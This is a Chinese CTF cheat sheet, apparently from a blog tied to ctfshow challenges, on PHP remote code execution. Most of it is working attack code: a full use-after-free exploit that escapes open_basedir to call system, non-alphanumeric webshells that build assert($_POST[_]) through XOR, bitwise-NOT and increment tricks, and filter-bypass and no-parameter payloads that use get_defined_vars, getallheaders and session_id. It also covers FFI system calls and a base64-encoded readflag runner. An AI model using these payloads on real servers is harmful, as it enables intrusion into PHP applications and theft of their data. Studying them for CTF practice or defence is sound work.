代码执行漏洞
目錄
- 目錄
- 代碼執行
- 有回顯
- 無回顯
- 讀取目錄
- glob
- scandir()
- bypass
- `.` 點被過濾
- `;` 分號被過濾
- `()` 括號被過濾
- 輸出內容
- 讀取文件
- exit截斷
- 參數逃逸
- open_basedir限制(安全目錄)
- UAF腳本
- 用mysql load_file讀取文件
- FFI命令執行
- 無字母RCE
- 一鍵讀取/readflag腳本
- 無數字字母RCE
- 臨時文件上傳
- 無參數RCE
- 最推薦
- 操作數組
- array_reverse()
- array_rand(array_flip())
- get_defined_vars() // 最推薦的
- getallheaders()
- session命令執行
- php5
- 異或
- 取反
- 遞增運算
- php7
- 取反
- 異或
- 注意點
目錄
代碼執行
有回顯
system() passthru() popen() proc_open()無回顯
可以用echo 輸出
exec() // 回顯最后一行 必須echo輸出,可以讓它輸出到一個數組里面 pcntl_exec() `` //可以直接執行系統命令 shell_exec() // 必須輸出讀取目錄
glob
print_r(glob("*"));
glob("*") 匹配任意文件
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
用glob協議讀取根目錄下所有文件
scandir()
bypass
. 點被過濾
chr(46) -> .
chr(rand()) -> char函數以256為一個周期取余,拿到46的概率為1/256 chr(time()) -> 1/256概率,每256秒成功一次,重放數據包(不推薦) chr(current(localtime(time()))) -> 1/60概率,每60秒成功一次,重放(不推薦) phpversion()僅限php7chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))current(localeconv()) (推薦使用這種方法); 分號被過濾
用 ?>閉合php標簽
() 括號被過濾
用不需要括號的函數
echo require <?=require~%d0%99%93%9e%98%d1%8b%87%8b?> //echo require "/flag.txt" include@ 代碼不報錯
echo@123;
~ 取反
echo~123;
^ 異或
echo^123;
輸出內容
echo print print_r die var_dump var_export 非php文件includerequirecopy('flag.php','flag.txt')rename('flag.php','flag.txt')讀取文件
var_dump(file_get_contents()) show_source() highlight_file() readfile()exit截斷
$c= $_POST['c'];eval($c);$s = ob_get_contents();ob_end_clean();知識點:
ob_get_contents — 返回輸出緩沖區的內容 ob_end_clean — 清空(擦除)緩沖區并關閉輸出緩沖關于緩存區的,可以參考大佬博客
https://www.cnblogs.com/raobenjun/p/8086051.html
exit(); die();參數逃逸
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php?c=eval($_GET[1]);&1=system('nl flag.php');?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php <!-- $$pi{abs}($$pi{acos}) #相當于 $_GET['abs']($_GET['acos'])-->open_basedir限制(安全目錄)
UAF腳本
c=function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function strlen_user($s){$ret = 0;for ($i=0; $i<1000000; $i++){if($s[$i]){$ret=$ret+1;}else{break;}}return $ret;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for($j = $s-1; $j >= 0; $j--) {$address <<= 8;$address |= ord($str[$p+$j]);}return $address;}function ptr2str($ptr, $m = 8) {$out = "";for ($i=0; $i < $m; $i++) {$out .= sprintf("%c",($ptr & 0xff));$ptr >>= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for($i = 0; $i < $n; $i++) {$str[$p + $i] = sprintf("%c",($v & 0xff));$v >>= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 << ($s * 8) - 1; }return $leak;}function parse_elf($base) {$e_type = leak($base, 0x10, 2);$e_phoff = leak($base, 0x20);$e_phentsize = leak($base, 0x36, 2);$e_phnum = leak($base, 0x38, 2);for($i = 0; $i < $e_phnum; $i++) {$header = $base + $e_phoff + $i * $e_phentsize;$p_type = leak($header, 0, 4);$p_flags = leak($header, 4, 4);$p_vaddr = leak($header, 0x10);$p_memsz = leak($header, 0x28);if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;$data_size = $p_memsz;} else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz;}}if(!$data_addr || !$text_size || !$data_size)return false;return [$data_addr, $text_size, $data_size];}function get_basic_funcs($base, $elf) {list($data_addr, $text_size, $data_size) = $elf;for($i = 0; $i < $data_size / 8; $i++) {$leak = leak($data_addr, $i * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x746e6174736e6f63)continue;} else continue;$leak = leak($data_addr, ($i + 4) * 8);if($leak - $base > 0 && $leak - $base < $data_addr - $base) {$deref = leak($leak);if($deref != 0x786568326e6962)continue;} else continue;return $data_addr + $i * 8;}}function get_binary_base($binary_leak) {$base = 0;$start = $binary_leak & 0xfffffffffffff000;for($i = 0; $i < 0x1000; $i++) {$addr = $start - 0x1000 * $i;$leak = leak($addr, 0, 7);if($leak == 0x10102464c457f) {return $addr;}}}function get_system($basic_funcs) {$addr = $basic_funcs;do {$f_entry = leak($addr);$f_name = leak($f_entry, 0, 6);if($f_name == 0x6d6574737973) {return leak($addr + 8);}$addr += 0x20;} while($f_entry != 0);return false;}function trigger_uaf($arg) {$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');$vuln = new Vuln();$vuln->a = $arg;}if(stristr(PHP_OS, 'WIN')) {die('This PoC is for *nix systems only.');}$n_alloc = 10; $contiguous = [];for($i = 0; $i < $n_alloc; $i++)$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');trigger_uaf('x');$abc = $backtrace[1]['args'][0];$helper = new Helper;$helper->b = function ($x) { };if(strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if(!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if(!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if(!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if(!($zif_system = get_system($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for($i = 0; $i < 0x110; $i += 8) {write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));}write($abc, 0x20, $abc_addr + $fake_obj_offset);write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd);exit(); }ctfshow("cat /flag0.txt");ob_end_flush(); //需要通過url編碼哦 //如果strlen被過濾 用strlen_user替換用mysql load_file讀取文件
一般用不到
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();exit(0);}exit(0);FFI命令執行
php7.4 以上
$ffi = FFI::cdef("int system(const char *command);");// 創建一個system對象 $a='/readflag > 1.txt'; // 沒有回顯的 $ffi->system($a); // 通過$ffi去調用system函數無字母RCE
用 & 和 | 運算
system(end(getallheaders()));(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))((((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))))&(((1).(2)){1}|((1/0).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((2).(0)){0}){0})|(((0/0).(0)){1}))))()));一鍵讀取/readflag腳本
//readflag一鍵計算腳本 <?php $d = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "/tmp/error.log", "a") );$cwd = "/"; $env = array();$process = proc_open("/readflag", $d, $pipes, $cwd, $env); if (is_resource($process)) {$d = fread($pipes[1], 1024);$d = fread($pipes[1], 1024);$d = explode("\n", $d);eval("\$result = $d[0];");eval("\$result = $d[0];");fwrite($pipes[0] , "$result\n");var_dump(fread($pipes[1],1024));var_dump(fread($pipes[1],1024));var_dump(fread($pipes[1],1024));fclose($pipes[0]);fclose($pipes[1]);$r = proc_close($process);echo "result $r\n"; } ?>php -c 1 -r "eval(base64_decode('JGQgPSBhcnJheSgKICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAyID0+IGFycmF5KCJmaWxlIiwgIi90bXAvZXJyb3IubG9nIiwgImEiKQopOwoKJGN3ZCA9ICIvIjsKJGVudiA9IGFycmF5KCk7CgokcHJvY2VzcyA9IHByb2Nfb3BlbigiL3JlYWRmbGFnIiwgJGQsICRwaXBlcywgJGN3ZCwgJGVudik7CmlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpCnsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZXhwbG9kZSgiXG4iLCAkZCk7CiAgICBldmFsKCJcJHJlc3VsdCA9ICRkWzBdOyIpOwogICAgZXZhbCgiXCRyZXN1bHQgPSAkZFswXTsiKTsKICAgIGZ3cml0ZSgkcGlwZXNbMF0gLCAiJHJlc3VsdFxuIik7CiAgICB2YXJfZHVtcChmcmVhZCgkcGlwZXNbMV0sMTAyNCkpOwogICAgdmFyX2R1bXAoZnJlYWQoJHBpcGVzWzFdLDEwMjQpKTsKICAgIHZhcl9kdW1wKGZyZWFkKCRwaXBlc1sxXSwxMDI0KSk7CiAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgJHIgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgIGVjaG8gInJlc3VsdCAkclxuIjsKfQ=='));" 或者echo "xx"|base64 -d|php執行無數字字母RCE
臨時文件上傳
php文件上傳時會先將上傳的文件保存到upload_tmp_dir該配置目錄下,這里為/tmp,而上傳頁面只負責把該文件拷貝到目標目錄。也就是說不管該php頁面有沒有文件上傳功能,我們只要上傳了文件,該文件就會被上傳到upload_tmp_dir配置的目錄(/tmp)下,上傳完后會被刪除。
PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母
ctfshow web56
博客 https://blog.csdn.net/Kracxi/article/details/121766050
. 相當于source 可以執行文件 ` ` 可以執行命令 [@-[] 可以表示任意大寫字母 在ASCII碼中 @ < A , [ > Z , <!-- 文件上傳數據包 --> <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>upload-POC</title> </head> <body> <form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">上傳的文件在網站目錄下 </form> </body> </html>這個圖是里面是命令執行system($c)的,代碼執行eval($c)的話可以用短標簽
c=?><?=`.%09/???/????????[@-[]`; // ;被過濾的話用?>閉合無參數RCE
最推薦
GET:eval(array_pop(next(get_defined_vars()))); POST:1=[shell]操作數組
pos() 或current() 第一個元素end() – 將內部指針指向數組中的最后一個元素,并輸出next() – 將內部指針指向數組中的下一個元素,并輸出prev() – 將內部指針指向數組中的上一個元素,并輸出reset() – 將內部指針指向數組中的第一個元素,并輸出each() – 返回當前元素的鍵名和鍵值,并將內部指針向前移動current() 或pos() - 默認返回數組第一個元素array_reverse() - 將數組倒過來array_flip() - 把數值的鍵值交換array_rand() - 從數值中隨機取一個鍵出來get_defined_vars() - 返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。array_pop() - 是刪除并返回數組最后一個元素array_reverse()
僅限于flag.php在數組的倒數第二個位置這種情況下
?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
array_rand(array_flip())
flag.php位置在哪都可以,但是他不是100%成功的,需要重放,概率問題
?exp=print_r(array_rand(array_flip(scandir(pos(localeconv())))));
get_defined_vars() // 最推薦的
取get的最后一個參數:
end(pos(get_defined_vars()))
取post的最后一個參數:
end(next(get_defined_vars()))
getallheaders()
print_r((array_reverse(getallheaders())));
print_r(end(array_reverse(getallheaders())));
在headers尾部添加任意 xxx: [shell]
system(end(getallheaders()));
用bp在host上方寫入shell
session命令執行
受php版本影響 5.5 -7.1.9均可以執行,因為session_id規定為0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均無法寫入除此之外的內容。但是符合要求的字符還是可以的
參考博客 ctfshow 40
https://blog.csdn.net/Kracxi/article/details/121041140
可以base64編碼 但PHPSESSID不能有+號和空格
?c=session_start();eval(base64_decode(session_id()));
?c=session_start();system(session_id());
?c=show_source(session_id(session_start()));
php5
參考p神博客
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
異或
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; _(___[_]); // assert($_POST[_]);取反
利用UTF-8編碼的某個漢字,并將其中某個字符取出來,比如’和’{2}的結果是"\x8c",其取反即為字母s:
<?php $__=('>'>'<')+('>'>'<'); // ture+ture=2 $_=$__/$__; //ture/ture=1 $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]);遞增運算
也就是說,‘a’++ => ‘b’,‘b’++ => ‘c’… 所以,我們只要能拿到一個變量,其值為a,通過自增操作即可獲得a-z中所有字符。
<?php $_=[]; $_=@"$*"; // $*='Array'; $_=$*['!'=='@']; // $*=$_[0]; $___=$_; // A $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$**++;$**++;$__++; // E $___.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // P $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // S $____.=$__; $__=$_; $__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);php7
取反
(不取反的話會被url解碼)
<?php $a = "system"; echo "~("; for ($i = 0; $i < strlen($a); $i++) {echo "%".bin2hex(~$a[$i]); } echo ")";異或
<?php $a = "phpinfo"; for ($i = 0; $i < strlen($a); $i++) {echo "%".dechex(ord($a[$i])^0xff); } echo "^"; for ($i = 0; $i < strlen($a); $i++) {echo "%ff"; }注意點
eval不能被動態調用,php7里不能動態構造assert eval和echo等,不是函數,而是語言構造器總結
- 上一篇: CTFshow 文件包含 web117
- 下一篇: CTFshow 反序列化 web254